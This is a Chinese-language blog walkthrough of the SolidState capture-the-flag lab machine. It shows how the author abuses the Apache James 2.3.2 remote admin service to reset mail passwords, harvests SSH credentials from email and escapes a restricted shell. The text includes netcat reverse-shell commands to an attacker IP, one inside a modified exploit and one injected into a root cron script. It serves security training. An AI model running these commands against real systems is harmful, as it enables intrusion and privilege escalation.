No.37-VulnHub-SolidState: 1-Walkthrough渗透学习
**
VulnHub-SolidState: 1-Walkthrough
**
靶机地址:https://www.vulnhub.com/entry/solidstate-1,261/
靶机难度:中级(CTF)
靶机发布日期:2018年9月12日
靶机描述:
它最初是为HackTheBox创建的
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-31
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.182.139
nmap发现了22(ssh)、25(smtp)、80(http)、110(pop3)、119(nntp)、4555(admin)端口是开放的…4555还是james-admin JAMES Remote Admin 2.3.2…存在漏洞,链接
dirb和nikto,以及gobuster都没发现什么…
这边直接看看4555…这边需要用nc链接…因为是Remote Admin Service…
命令:nc 192.168.182.139 4555
listusers命令可以发现服务器上的邮件列表…发现五个用户…
还能执行setpassword [username] [password]
使用命令将五个用户都修改密码成dayu…方便我们去渗透…
现在有了pop3的用户名密码,进去看看…
john的邮件信息是祝我好运…没啥有用的…继续换…
可以看到James从管理员帐户向Mindy 发送了邮件,并共享了他的SSH登录凭据,在mindy用户邮件中看到了账号密码…pass: [email protected][email protected]
成功登陆mindy用户…
可以看到mindy用户可以利用/bin/rbash/进行反向shell提权…或者利用前面nmap就知道了Apache James Server 2.3.2在运行着…并利用35513EXP进行渗透…
命令:ssh [email protected] "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"
直接利用一句话就能提权…
或者用:
在本地找就行,或者在exploit上下载也行…
这要做个修改…
nc -e /bin/sh 192.168.182.149 8000 (攻击者IP)
命令:python 35513.py 192.168.182.139
修改好后,直接执行即可…
重新ssh访问mindy用户后,直接本地开启8000监听即可…成功提权…还有各种方法原理是一样的,就不说了…
python -c ‘import pty;pty.spawn("/bin/bash")’
在mindy用户下完成了第一个挑战,查看到了user内容…
命令:ps aux | grep james
因为前面能进入mindy用户是通过James那里得到的提示,james发了邮件给mindy…这边我查看下james运行过程…
显示了opt作为根进程…进去看看
有个tmp.py程序应该可以利用下,试试
直接写入即可…
命令:echo 'import os; os.system("/bin/nc 192.168.182.149 4444 -e /bin/bash")' > /opt/tmp.py
或者命令:echo "os.system('/bin/nc -e /bin/bash 192.168.182.149 4444')" >> tmp.py
或者在本地创建tmp.py文件,然后wget上传到tmp目录cp放到opt目录运行即可…
这边crontab在root的帐户下运行的,大约2~3分钟就会自动运行一次…等待即可…
成功提权…获得root权限查看flag…
这篇主要熟悉Apache James Server 2.3.2可利用漏洞…或者熟悉文件上传python利用也可以…最后就是找到用户底层可运行利用的py、php和sh等文件,进行修改利用即可…
由于我们已经成功得到root权限和flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。